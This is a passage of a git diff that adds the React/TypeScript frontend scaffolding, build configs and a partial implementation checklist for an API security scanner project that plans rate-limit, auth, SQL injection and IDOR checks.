rules: {
|
||||
'@typescript-eslint/no-non-null-assertion': 'off', // Allow document.getElementById('root')!
|
||||
},
|
||||
},
|
||||
|
||||
prettierConfig,
|
||||
);
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
|
||||
<meta name="theme-color" content="#000000">
|
||||
<meta name="description" content="API Security Scanner Project, React Typescript, Nginx, Docker, FastAPI, Python, Pydandic, OWASP">
|
||||
<meta name="author" content="Carter Perez">
|
||||
<meta property="og:locale" content="en_US">
|
||||
<meta property="article:author" content="Carterperez-dev - REPLACE MY NAME">
|
||||
<meta name="keywords" content="scanner, security, owasp, api scanner, api security, cybersecurity, projects, project">
|
||||
<link rel="icon" href="/favicon.ico">
|
||||
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
|
||||
<link rel="manifest" href="/manifest.json">
|
||||
<meta name="robots" content="index, follow">
|
||||
<title>API Security Scanner</title>
|
||||
</head>
|
||||
<body>
|
||||
<noscript>You need to enable JavaScript to run this app.</noscript>
|
||||
<div id="root"></div>
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,60 @@
|
|||
{
|
||||
"name": "api-security-scanner",
|
||||
"version": "1.0.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"build": "vite build",
|
||||
"dev": "vite",
|
||||
"format": "prettier --write \"**/*.{ts,tsx,scss}\"",
|
||||
"format:check": "prettier --check \"**/*.{ts,tsx,scss}\"",
|
||||
"lint": "npm run lint:eslint && npm run lint:scss && npm run lint:types",
|
||||
"lint:eslint": "eslint . --ext .ts,.tsx --max-warnings 0",
|
||||
"lint:types": "tsc --project tsconfig.app.json --noEmit"
|
||||
},
|
||||
"dependencies": {
|
||||
"@hookform/resolvers": "^5.2.1",
|
||||
"@radix-ui/react-collapsible": "^1.1.12",
|
||||
"@radix-ui/react-dialog": "^1.1.15",
|
||||
"@radix-ui/react-dropdown-menu": "^2.1.16",
|
||||
"@radix-ui/react-tabs": "^1.1.13",
|
||||
"@radix-ui/react-toast": "^1.2.15",
|
||||
"@radix-ui/react-tooltip": "^1.2.8",
|
||||
"@tanstack/react-query": "^5.85.3",
|
||||
"@tanstack/react-query-devtools": "^5.85.3",
|
||||
"axios": "^1.12.2",
|
||||
"clsx": "^2.1.1",
|
||||
"date-fns": "^4.1.0",
|
||||
"immer": "^10.1.1",
|
||||
"react": "^19.1.1",
|
||||
"react-dom": "^19.1.1",
|
||||
"react-hook-form": "^7.62.0",
|
||||
"react-icons": "^5.5.0",
|
||||
"react-markdown": "^10.1.0",
|
||||
"react-router-dom": "^7.8.1",
|
||||
"recharts": "^3.1.2",
|
||||
"socket.io-client": "^4.8.1",
|
||||
"sonner": "^2.0.7",
|
||||
"zod": "^4.0.17",
|
||||
"zustand": "^5.0.7"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@eslint/js": "^9.33.0",
|
||||
"@types/react": "^19.1.10",
|
||||
"@types/react-dom": "^19.1.7",
|
||||
"@vitejs/plugin-react": "^5.0.0",
|
||||
"eslint": "^9.33.0",
|
||||
"eslint-config-prettier": "^10.1.8",
|
||||
"eslint-plugin-jsx-a11y": "^6.10.2",
|
||||
"eslint-plugin-react": "^7.37.5",
|
||||
"eslint-plugin-react-hooks": "^5.2.0",
|
||||
"eslint-plugin-react-refresh": "^0.4.20",
|
||||
"globals": "^16.3.0",
|
||||
"husky": "^8.0.0",
|
||||
"prettier": "^3.6.2",
|
||||
"typescript": "~5.8.3",
|
||||
"typescript-eslint": "^8.39.1",
|
||||
"vite": "^7.1.2",
|
||||
"vite-tsconfig-paths": "^5.1.4"
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 105 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 16 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 378 B |
Binary file not shown.
|
After Width: | Height: | Size: 878 B |
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
|
|
@ -0,0 +1 @@
|
|||
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
/**
|
||||
* ©AngelaMos | 2025
|
||||
* Main application component
|
||||
*/
|
||||
|
||||
function App() {
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
backgroundColor: '#000',
|
||||
color: '#fff',
|
||||
minHeight: '100vh',
|
||||
display: 'flex',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
fontFamily: 'system-ui, -apple-system, sans-serif',
|
||||
}}
|
||||
>
|
||||
<h1>API Security Scanner - Placeholder</h1>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default App;
|
||||
|
|
@ -0,0 +1,85 @@
|
|||
/**
|
||||
* ©AngelaMos | 2025
|
||||
* All hardcoded values, API endpoints, and configuration constants
|
||||
*/
|
||||
|
||||
/**
|
||||
* API Configuration
|
||||
*/
|
||||
export const API_BASE_URL =
|
||||
import.meta.env.VITE_API_URL || 'http://localhost/api';
|
||||
|
||||
export const API_ENDPOINTS = {
|
||||
// Auth endpoints
|
||||
AUTH: {
|
||||
REGISTER: '/auth/register',
|
||||
LOGIN: '/auth/login',
|
||||
},
|
||||
// Scan endpoints
|
||||
SCANS: {
|
||||
CREATE: '/scans',
|
||||
LIST: '/scans',
|
||||
GET: (id: number) => `/scans/${id}`,
|
||||
DELETE: (id: number) => `/scans/${id}`,
|
||||
},
|
||||
} as const;
|
||||
|
||||
/**
|
||||
* LocalStorage Keys
|
||||
*/
|
||||
export const STORAGE_KEYS = {
|
||||
AUTH_TOKEN: 'auth_token',
|
||||
USER: 'user',
|
||||
} as const;
|
||||
|
||||
/**
|
||||
* Application Constants
|
||||
*/
|
||||
export const APP_NAME = 'API Security Scanner';
|
||||
export const APP_VERSION = '1.0.0';
|
||||
|
||||
/**
|
||||
* Scan Configuration
|
||||
*/
|
||||
export const SCAN_TYPES = {
|
||||
RATE_LIMIT: 'rate_limit',
|
||||
AUTH: 'auth',
|
||||
SQLI: 'sqli',
|
||||
IDOR: 'idor',
|
||||
} as const;
|
||||
|
||||
export const SCAN_TYPE_LABELS: Record<string, string> = {
|
||||
[SCAN_TYPES.RATE_LIMIT]: 'Rate Limiting',
|
||||
[SCAN_TYPES.AUTH]: 'Authentication',
|
||||
[SCAN_TYPES.SQLI]: 'SQL Injection',
|
||||
[SCAN_TYPES.IDOR]: 'IDOR',
|
||||
};
|
||||
|
||||
/**
|
||||
* Severity Levels
|
||||
*/
|
||||
export const SEVERITY = {
|
||||
CRITICAL: 'critical',
|
||||
HIGH: 'high',
|
||||
MEDIUM: 'medium',
|
||||
LOW: 'low',
|
||||
INFO: 'info',
|
||||
} as const;
|
||||
|
||||
export const SEVERITY_COLORS: Record<string, string> = {
|
||||
[SEVERITY.CRITICAL]: '#dc2626',
|
||||
[SEVERITY.HIGH]: '#ea580c',
|
||||
[SEVERITY.MEDIUM]: '#f59e0b',
|
||||
[SEVERITY.LOW]: '#3b82f6',
|
||||
[SEVERITY.INFO]: '#6b7280',
|
||||
};
|
||||
|
||||
/**
|
||||
* Scan Status
|
||||
*/
|
||||
export const SCAN_STATUS = {
|
||||
PENDING: 'pending',
|
||||
RUNNING: 'running',
|
||||
COMPLETED: 'completed',
|
||||
FAILED: 'failed',
|
||||
} as const;
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
/**
|
||||
* ©AngelaMos | 2025
|
||||
* Axios instance with request/response interceptors
|
||||
*/
|
||||
|
||||
import axios, { AxiosError, AxiosResponse } from 'axios';
|
||||
import { API_BASE_URL, STORAGE_KEYS } from '@/config/constants';
|
||||
|
||||
/**
|
||||
* Create axios instance with base configuration
|
||||
*/
|
||||
export const api = axios.create({
|
||||
baseURL: API_BASE_URL,
|
||||
timeout: 30000,
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
});
|
||||
|
||||
/**
|
||||
* Request interceptor - attach auth token to requests
|
||||
*/
|
||||
api.interceptors.request.use(
|
||||
(config) => {
|
||||
const token = localStorage.getItem(STORAGE_KEYS.AUTH_TOKEN);
|
||||
if (token) {
|
||||
config.headers.Authorization = `Bearer ${token}`;
|
||||
}
|
||||
return config;
|
||||
},
|
||||
(error: AxiosError) => {
|
||||
return Promise.reject(error);
|
||||
},
|
||||
);
|
||||
|
||||
/**
|
||||
* Response interceptor - handle common errors
|
||||
*/
|
||||
api.interceptors.response.use(
|
||||
(response: AxiosResponse) => {
|
||||
return response;
|
||||
},
|
||||
(error: AxiosError) => {
|
||||
if (error.response?.status === 401) {
|
||||
localStorage.removeItem(STORAGE_KEYS.AUTH_TOKEN);
|
||||
localStorage.removeItem(STORAGE_KEYS.USER);
|
||||
window.location.href = '/login';
|
||||
}
|
||||
return Promise.reject(error);
|
||||
},
|
||||
);
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
/**
|
||||
* ©AngelaMos | 2025
|
||||
* TanStack Query client configuration
|
||||
*/
|
||||
|
||||
import { QueryClient } from '@tanstack/react-query';
|
||||
|
||||
export const queryClient = new QueryClient({
|
||||
defaultOptions: {
|
||||
queries: {
|
||||
retry: 1,
|
||||
refetchOnWindowFocus: false,
|
||||
staleTime: 5 * 60 * 1000, // 5 minutes
|
||||
},
|
||||
mutations: {
|
||||
retry: false,
|
||||
},
|
||||
},
|
||||
});
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
/**
|
||||
* ©AngelaMos | 2025
|
||||
* Application entry point
|
||||
*/
|
||||
|
||||
import { StrictMode } from 'react';
|
||||
import { createRoot } from 'react-dom/client';
|
||||
import App from './App.tsx';
|
||||
|
||||
createRoot(document.getElementById('root')!).render(
|
||||
<StrictMode>
|
||||
<App />
|
||||
</StrictMode>,
|
||||
);
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
/**
|
||||
* ©AngelaMos | 2025
|
||||
* Application routing configuration
|
||||
*/
|
||||
|
||||
import { createBrowserRouter } from 'react-router-dom';
|
||||
|
||||
/**
|
||||
* Placeholder components for routes
|
||||
*/
|
||||
const PlaceholderPage = ({ title }: { title: string }) => (
|
||||
<div
|
||||
style={{
|
||||
backgroundColor: '#000',
|
||||
color: '#fff',
|
||||
minHeight: '100vh',
|
||||
display: 'flex',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
fontFamily: 'system-ui, -apple-system, sans-serif',
|
||||
flexDirection: 'column',
|
||||
gap: '1rem',
|
||||
}}
|
||||
>
|
||||
<h1>{title}</h1>
|
||||
<p style={{ color: '#888' }}>Page coming soon...</p>
|
||||
</div>
|
||||
);
|
||||
|
||||
export const router = createBrowserRouter([
|
||||
{
|
||||
path: '/',
|
||||
element: <PlaceholderPage title="Dashboard" />,
|
||||
},
|
||||
{
|
||||
path: '/login',
|
||||
element: <PlaceholderPage title="Login" />,
|
||||
},
|
||||
{
|
||||
path: '/register',
|
||||
element: <PlaceholderPage title="Register" />,
|
||||
},
|
||||
{
|
||||
path: '/scan',
|
||||
element: <PlaceholderPage title="New Scan" />,
|
||||
},
|
||||
{
|
||||
path: '/history',
|
||||
element: <PlaceholderPage title="Scan History" />,
|
||||
},
|
||||
]);
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
{
|
||||
"compilerOptions": {
|
||||
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",
|
||||
"target": "ES2022",
|
||||
"useDefineForClassFields": true,
|
||||
"lib": ["ES2022", "DOM", "DOM.Iterable"],
|
||||
"module": "ESNext",
|
||||
"skipLibCheck": true,
|
||||
"moduleResolution": "bundler",
|
||||
"allowImportingTsExtensions": true,
|
||||
"verbatimModuleSyntax": true,
|
||||
"moduleDetection": "force",
|
||||
"noEmit": true,
|
||||
"jsx": "react-jsx",
|
||||
"isolatedModules": true,
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"@/*": ["./src/*"],
|
||||
},
|
||||
"strict": true,
|
||||
"noUnusedLocals": true,
|
||||
"noUnusedParameters": true,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"noImplicitReturns": true,
|
||||
"exactOptionalPropertyTypes": true
|
||||
},
|
||||
"include": ["src"]
|
||||
}
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
{
|
||||
"files": [],
|
||||
"references": [
|
||||
{ "path": "./tsconfig.app.json" },
|
||||
{ "path": "./tsconfig.node.json" }
|
||||
]
|
||||
}
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
{
|
||||
"compilerOptions": {
|
||||
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo",
|
||||
"target": "ES2023",
|
||||
"lib": ["ES2023"],
|
||||
"module": "ESNext",
|
||||
"skipLibCheck": true,
|
||||
"moduleResolution": "bundler",
|
||||
"allowImportingTsExtensions": true,
|
||||
"verbatimModuleSyntax": true,
|
||||
"moduleDetection": "force",
|
||||
"noEmit": true,
|
||||
"composite": true,
|
||||
"resolveJsonModule": true,
|
||||
"isolatedModules": true,
|
||||
"strict": true,
|
||||
"noUnusedLocals": true,
|
||||
"noUnusedParameters": true,
|
||||
"noFallthroughCasesInSwitch": true
|
||||
},
|
||||
"include": ["vite.config.ts"]
|
||||
}
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2025
|
||||
// vite.config.ts
|
||||
// ===================
|
||||
import react from '@vitejs/plugin-react';
|
||||
import tsconfigPaths from 'vite-tsconfig-paths';
|
||||
import { defineConfig } from 'vite';
|
||||
|
||||
export default defineConfig({
|
||||
plugins: [react(), tsconfigPaths()],
|
||||
resolve: {
|
||||
alias: {
|
||||
'@': '/src',
|
||||
},
|
||||
extensions: ['.ts', '.tsx', '.js', '.jsx', '.json'],
|
||||
},
|
||||
build: {
|
||||
outDir: 'build',
|
||||
sourcemap: false,
|
||||
rollupOptions: {
|
||||
output: {
|
||||
manualChunks: {
|
||||
vendor: ['react', 'react-dom'],
|
||||
router: ['react-router-dom'],
|
||||
query: ['@tanstack/react-query'],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
server: {
|
||||
host: '0.0.0.0',
|
||||
port: 5173,
|
||||
proxy: {
|
||||
'/api': {
|
||||
target: process.env.VITE_PROXY_TARGET || 'http://backend:8000',
|
||||
changeOrigin: true,
|
||||
rewrite: (path) => path.replace(/^\/api/, ''),
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
{
|
||||
"name": "api-security-scanner",
|
||||
"version": "1.0.0",
|
||||
"description": "Automated API security testing tool with FastAPI backend and ReactTS frontend",
|
||||
"private": true,
|
||||
"scripts": {
|
||||
"dev": "docker-compose -f docker-compose.dev.yml up",
|
||||
"dev:build": "docker compose -f docker-compose.dev.yml up --build",
|
||||
"dev:down": "docker compose -f docker-compose.dev.yml down",
|
||||
"dev:logs": "docker compose -f docker-compose.dev.yml logs -f",
|
||||
"prod": "docker compose -f docker-compose.prod.yml up -d",
|
||||
"prod:build": "docker compose -f docker-compose.prod.yml up --build -d",
|
||||
"prod:down": "docker compose -f docker-compose.prod.yml down",
|
||||
"prod:logs": "docker compose -f docker-compose.prod.yml logs -f",
|
||||
"clean": "docker compose -f docker-compose.dev.yml down -v && docker compose -f docker-compose.prod.yml down -v",
|
||||
"clean:all": "npm run clean && docker system prune -af --volumes"
|
||||
},
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/carterperez-dev/api-security-scanner"
|
||||
},
|
||||
"keywords": [
|
||||
"security",
|
||||
"api-testing",
|
||||
"vulnerability-scanner",
|
||||
"pentesting",
|
||||
"fastapi",
|
||||
"react",
|
||||
"docker"
|
||||
],
|
||||
"author": "CarerPerez-dev - also replace my github url username with yours",
|
||||
"license": "MIT"
|
||||
}
|
||||
|
|
@ -0,0 +1,698 @@
|
|||
# API Security Testing Tool - Implementation Checklist
|
||||
|
||||
**Project Start Date:** 2025-11-08
|
||||
**Status:** In Progress
|
||||
|
||||
---
|
||||
|
||||
## ✅ PROJECT SETUP
|
||||
|
||||
### Initial Structure
|
||||
- [x] Create `/backend` directory
|
||||
- [ ] Create `/frontend` directory
|
||||
- [ ] Create `/conf` directory for Docker/Nginx configs
|
||||
- [x] Create root `.gitignore` file
|
||||
|
||||
---
|
||||
|
||||
## 🐍 BACKEND - FOUNDATION
|
||||
|
||||
### Python Project Setup
|
||||
- [ ] Create `backend/pyproject.toml` with project metadata
|
||||
- [ ] Create `backend/requirements.txt` with all dependencies
|
||||
- [ ] Create `backend/.python-version` (specify Python 3.11)
|
||||
- [x] Create `backend/.style.yapf` for code formatting
|
||||
- [ ] Create `backend/.env.example` with all required environment variables
|
||||
- [ ] Create `backend/__init__.py` (empty, marks as package)
|
||||
|
||||
### Core Configuration
|
||||
- [ ] Create `backend/config.py` with Settings class (Pydantic BaseSettings)
|
||||
- [ ] Add all magic number constants to config.py (PASSWORD_MIN_LENGTH, MAX_REQUESTS_DEFAULT, etc.)
|
||||
- [ ] Add database URL configuration
|
||||
- [ ] Add JWT settings (SECRET_KEY, ALGORITHM, ACCESS_TOKEN_EXPIRE_MINUTES)
|
||||
- [ ] Add CORS origins configuration
|
||||
- [ ] Add scanner default settings
|
||||
- [ ] Implement cached settings function with @lru_cache
|
||||
|
||||
### Core Modules - `backend/core/`
|
||||
- [ ] Create `backend/core/__init__.py`
|
||||
- [ ] Create `backend/core/enums.py` with ScanStatus enum
|
||||
- [ ] Add Severity enum to enums.py
|
||||
- [ ] Add TestType enum to enums.py
|
||||
- [ ] Create `backend/core/database.py` with SQLAlchemy engine setup
|
||||
- [ ] Add SessionLocal factory to database.py
|
||||
- [ ] Add Base declarative_base to database.py
|
||||
- [ ] Add get_db() dependency function to database.py
|
||||
- [ ] Create `backend/core/security.py` with bcrypt password hashing
|
||||
- [ ] Add JWT token creation function to security.py
|
||||
- [ ] Add JWT token decode/verify function to security.py
|
||||
- [ ] Create `backend/core/dependencies.py` with HTTPBearer security
|
||||
- [ ] Add get_current_user() dependency to dependencies.py
|
||||
|
||||
---
|
||||
|
||||
## 🗄️ BACKEND - DATA LAYER
|
||||
|
||||
### Models - `backend/models/`
|
||||
- [ ] Create `backend/models/__init__.py`
|
||||
- [ ] Create `backend/models/User.py` (thin, just table definition)
|
||||
- [ ] Create `backend/models/ScanResult.py` (scan history table)
|
||||
- [ ] Create `backend/models/ApiTarget.py` (optional: store target APIs)
|
||||
|
||||
### Schemas (Pydantic V2) - `backend/schemas/`
|
||||
- [ ] Create `backend/schemas/__init__.py`
|
||||
- [ ] Create `backend/schemas/shared_schemas.py` with generic response models
|
||||
- [ ] Create `backend/schemas/user_schemas.py` with UserCreate schema
|
||||
- [ ] Add UserLogin schema to user_schemas.py
|
||||
- [ ] Add UserResponse schema with ConfigDict(from_attributes=True) to user_schemas.py
|
||||
- [ ] Add TokenResponse schema to user_schemas.py
|
||||
- [ ] Create `backend/schemas/scan_schemas.py` with ScanRequest schema
|
||||
- [ ] Add ScanResult schema to scan_schemas.py (individual test result)
|
||||
- [ ] Add ScanResponse schema to scan_schemas.py (complete scan response)
|
||||
- [ ] Replace ALL magic numbers in Field() with config constants
|
||||
|
||||
### TypedDicts - `backend/types/`
|
||||
- [ ] Create `backend/types/__init__.py`
|
||||
- [ ] Create `backend/types/scan_types.py` with ScannerResult TypedDict
|
||||
- [ ] Add ScannerConfig TypedDict to scan_types.py
|
||||
- [ ] Create `backend/types/service_types.py` with service layer TypedDicts
|
||||
- [ ] Create `backend/types/repository_types.py` with UserDict TypedDict
|
||||
|
||||
### Repositories - `backend/repositories/`
|
||||
- [ ] Create `backend/repositories/__init__.py`
|
||||
- [ ] Create `backend/repositories/shared_repository.py` with base repository functions
|
||||
- [ ] Create `backend/repositories/user_repository.py` as static class
|
||||
- [ ] Add get_by_email() method to UserRepository
|
||||
- [ ] Add get_by_id() method to UserRepository
|
||||
- [ ] Add create() method to UserRepository
|
||||
- [ ] Add get_all_active() method to UserRepository
|
||||
- [ ] Create `backend/repositories/scan_repository.py` as static class
|
||||
- [ ] Add save_scan() method to ScanRepository
|
||||
- [ ] Add get_by_user() method to ScanRepository
|
||||
- [ ] Add get_by_id() method to ScanRepository
|
||||
|
||||
---
|
||||
|
||||
## 🧠 BACKEND - BUSINESS LOGIC
|
||||
|
||||
### Services - `backend/services/`
|
||||
- [ ] Create `backend/services/__init__.py`
|
||||
- [ ] Create `backend/services/auth_service.py` with AuthService class
|
||||
- [ ] Add register_user() method to AuthService
|
||||
- [ ] Add login_user() method to AuthService (returns TokenResponse)
|
||||
- [ ] Add password validation logic to AuthService
|
||||
- [ ] Add user existence check to AuthService
|
||||
- [ ] Create `backend/services/user_service.py` with UserService class
|
||||
- [ ] Add get_user_profile() method to UserService
|
||||
- [ ] Add update_user() method to UserService
|
||||
- [ ] Create `backend/services/scan_service.py` with ScanService class
|
||||
- [ ] Add run_scan() async method to ScanService
|
||||
- [ ] Add get_scan_history() method to ScanService
|
||||
- [ ] Add get_scan_by_id() method to ScanService
|
||||
- [ ] Implement concurrent scanner execution with asyncio.gather() in ScanService
|
||||
|
||||
---
|
||||
|
||||
## 🔍 BACKEND - SECURITY SCANNERS
|
||||
|
||||
### Base Scanner - `backend/scanners/`
|
||||
- [ ] Create `backend/scanners/__init__.py`
|
||||
- [ ] Create `backend/scanners/base_scanner.py` with BaseScanner ABC
|
||||
- [ ] Add abstract scan() method to BaseScanner
|
||||
- [ ] Add _create_result() helper method to BaseScanner
|
||||
|
||||
### Rate Limit Scanner
|
||||
- [ ] Create `backend/scanners/rate_limit_scanner.py` inheriting BaseScanner
|
||||
- [ ] Implement concurrent request sending with httpx AsyncClient
|
||||
- [ ] Add response analysis logic (count 429 status codes)
|
||||
- [ ] Add vulnerability detection logic (no rate limiting = vulnerable)
|
||||
- [ ] Add evidence collection (requests_sent, successful_requests, rate_limited)
|
||||
- [ ] Add recommendations for vulnerable cases
|
||||
- [ ] Add _send_request() helper method
|
||||
|
||||
### Auth Scanner
|
||||
- [ ] Create `backend/scanners/auth_scanner.py` inheriting BaseScanner
|
||||
- [ ] Implement expired token test
|
||||
- [ ] Implement missing token test
|
||||
- [ ] Implement malformed token test
|
||||
- [ ] Implement token location tests (header/query/body)
|
||||
- [ ] Add vulnerability detection logic
|
||||
- [ ] Add evidence collection
|
||||
- [ ] Add recommendations
|
||||
|
||||
### SQLi Scanner
|
||||
- [ ] Create `backend/scanners/sqli_scanner.py` inheriting BaseScanner
|
||||
- [ ] Define common SQLi payloads list
|
||||
- [ ] Implement payload injection in URL params
|
||||
- [ ] Implement payload injection in request body
|
||||
- [ ] Implement error-based detection (look for SQL errors in responses)
|
||||
- [ ] Implement time-based detection (measure response times)
|
||||
- [ ] Add vulnerability detection logic
|
||||
- [ ] Add evidence collection (vulnerable params, payloads that worked)
|
||||
- [ ] Add recommendations
|
||||
|
||||
### IDOR/BOLA Scanner
|
||||
- [ ] Create `backend/scanners/idor_scanner.py` inheriting BaseScanner
|
||||
- [ ] Implement ID parameter detection in URLs
|
||||
- [ ] Implement ID increment/decrement testing
|
||||
- [ ] Implement unauthorized access detection (200 status = vulnerable)
|
||||
- [ ] Add vulnerability detection logic
|
||||
- [ ] Add evidence collection (accessible IDs, endpoints)
|
||||
- [ ] Add recommendations
|
||||
|
||||
---
|
||||
|
||||
## 🛣️ BACKEND - API ROUTES
|
||||
|
||||
### Routes - `backend/routes/`
|
||||
- [ ] Create `backend/routes/__init__.py`
|
||||
- [ ] Create `backend/routes/auth.py` with APIRouter
|
||||
- [ ] Add POST /api/auth/register endpoint (returns UserResponse)
|
||||
- [ ] Add POST /api/auth/login endpoint (returns TokenResponse)
|
||||
- [ ] Add exception handling for ValueError in auth routes
|
||||
- [ ] Create `backend/routes/users.py` with APIRouter
|
||||
- [ ] Add GET /api/users/profile endpoint (protected)
|
||||
- [ ] Add PUT /api/users/update endpoint (protected)
|
||||
- [ ] Create `backend/routes/scans.py` with APIRouter
|
||||
- [ ] Add POST /api/scans/run endpoint (async, protected)
|
||||
- [ ] Add GET /api/scans/history endpoint (protected)
|
||||
- [ ] Add GET /api/scans/{scan_id} endpoint (protected)
|
||||
|
||||
### Main Application
|
||||
- [ ] Create `backend/main.py` with FastAPI app initialization
|
||||
- [ ] Add CORS middleware with configured origins
|
||||
- [ ] Include auth router with prefix /api/auth
|
||||
- [ ] Include users router with prefix /api/users
|
||||
- [ ] Include scans router with prefix /api/scans
|
||||
- [ ] Add root health check endpoint GET /
|
||||
- [ ] Add database table creation (Base.metadata.create_all)
|
||||
- [ ] Configure docs URL as /api/docs
|
||||
- [ ] Configure redoc URL as /api/redoc
|
||||
- [ ] Add uvicorn run configuration if __name__ == "__main__"
|
||||
|
||||
---
|
||||
|
||||
## ⚛️ FRONTEND - FOUNDATION
|
||||
|
||||
### Vite + React + TypeScript Setup
|
||||
- [ ] Initialize Vite project with React + TypeScript template in /frontend
|
||||
- [ ] Create `frontend/tsconfig.json` with strict mode enabled
|
||||
- [ ] Create `frontend/vite.config.ts` with path aliases (@/)
|
||||
- [ ] Create `frontend/.eslintrc.cjs` with TypeScript rules
|
||||
- [ ] Create `frontend/.prettierrc` with formatting rules
|
||||
- [ ] Create `frontend/.env.example` with VITE_API_URL
|
||||
|
||||
### Package Installation
|
||||
- [ ] Install React and React-DOM
|
||||
- [ ] Install react-router-dom for routing
|
||||
- [ ] Install @tanstack/react-query for server state
|
||||
- [ ] Install zustand for UI state management
|
||||
- [ ] Install axios for HTTP requests
|
||||
- [ ] Install zod for validation
|
||||
- [ ] Install react-hook-form for forms
|
||||
- [ ] Install @hookform/resolvers for Zod integration
|
||||
- [ ] Install @radix-ui/react-tabs for accessible tabs
|
||||
- [ ] Install @radix-ui/react-dialog for modals
|
||||
- [ ] Install recharts for data visualization
|
||||
- [ ] Install react-icons for icons
|
||||
|
||||
### Frontend Structure
|
||||
- [ ] Create `frontend/src/config/` directory
|
||||
- [ ] Create `frontend/src/types/` directory
|
||||
- [ ] Create `frontend/src/hooks/` directory
|
||||
- [ ] Create `frontend/src/lib/` directory
|
||||
- [ ] Create `frontend/src/store/` directory
|
||||
- [ ] Create `frontend/src/services/` directory
|
||||
- [ ] Create `frontend/src/components/` directory
|
||||
- [ ] Create `frontend/src/pages/` directory
|
||||
- [ ] Create `frontend/src/styles/` directory
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ FRONTEND - CONFIGURATION
|
||||
|
||||
### Config Files - `frontend/src/config/`
|
||||
- [ ] Create `frontend/src/config/constants.ts` with APP_CONFIG object
|
||||
- [ ] Add ROUTES constants to constants.ts (LOGIN, REGISTER, DASHBOARD, etc.)
|
||||
- [ ] Add UI_TEXT constants to constants.ts (buttons, headers, labels, placeholders, errors, success)
|
||||
- [ ] Add SCAN_CONFIG constants to constants.ts (max requests, available tests)
|
||||
- [ ] Add SEVERITY_CONFIG to constants.ts (colors, labels, icons)
|
||||
- [ ] Create `frontend/src/config/api.ts` with API_CONFIG object
|
||||
- [ ] Add BASE_URL to api.ts (from env var)
|
||||
- [ ] Add TIMEOUT to api.ts
|
||||
- [ ] Add all ENDPOINTS to api.ts (AUTH, SCANS, USERS)
|
||||
- [ ] Create `frontend/src/config/theme.css` with CSS variables
|
||||
- [ ] Add color variables (primary, status colors, backgrounds, text, borders)
|
||||
- [ ] Add spacing variables to theme.css
|
||||
- [ ] Add border-radius variables to theme.css
|
||||
- [ ] Add shadow variables to theme.css
|
||||
- [ ] Add transition variables to theme.css
|
||||
- [ ] Add typography variables to theme.css
|
||||
- [ ] Add z-index layer variables to theme.css
|
||||
|
||||
---
|
||||
|
||||
## 📝 FRONTEND - TYPES
|
||||
|
||||
### Type Definitions - `frontend/src/types/`
|
||||
- [ ] Create `frontend/src/types/api.types.ts`
|
||||
- [ ] Add LoginRequest interface to api.types.ts
|
||||
- [ ] Add RegisterRequest interface to api.types.ts
|
||||
- [ ] Add AuthResponse interface to api.types.ts
|
||||
- [ ] Add UserResponse interface to api.types.ts
|
||||
- [ ] Add TestType type union to api.types.ts
|
||||
- [ ] Add ScanStatus type union to api.types.ts
|
||||
- [ ] Add Severity type union to api.types.ts
|
||||
- [ ] Add ScanRequest interface to api.types.ts
|
||||
- [ ] Add ScanResult interface to api.types.ts
|
||||
- [ ] Add ScanResponse interface to api.types.ts
|
||||
- [ ] Create `frontend/src/types/scan.types.ts` for scanner-specific types
|
||||
- [ ] Create `frontend/src/types/auth.types.ts` for auth-specific types
|
||||
|
||||
---
|
||||
|
||||
## 🔌 FRONTEND - API INTEGRATION
|
||||
|
||||
### API Client - `frontend/src/lib/`
|
||||
- [ ] Create `frontend/src/lib/api.ts` with axios instance creation
|
||||
- [ ] Configure axios baseURL from API_CONFIG
|
||||
- [ ] Configure axios timeout
|
||||
- [ ] Add request interceptor to attach JWT token from localStorage
|
||||
- [ ] Add response interceptor to handle 401 errors (logout + redirect)
|
||||
- [ ] Create `frontend/src/lib/queryClient.ts` with TanStack Query setup
|
||||
- [ ] Configure default query options (refetchOnWindowFocus, retry, staleTime)
|
||||
- [ ] Create `frontend/src/lib/utils.ts` for helper functions
|
||||
|
||||
### Services - `frontend/src/services/`
|
||||
- [ ] Create `frontend/src/services/authService.ts`
|
||||
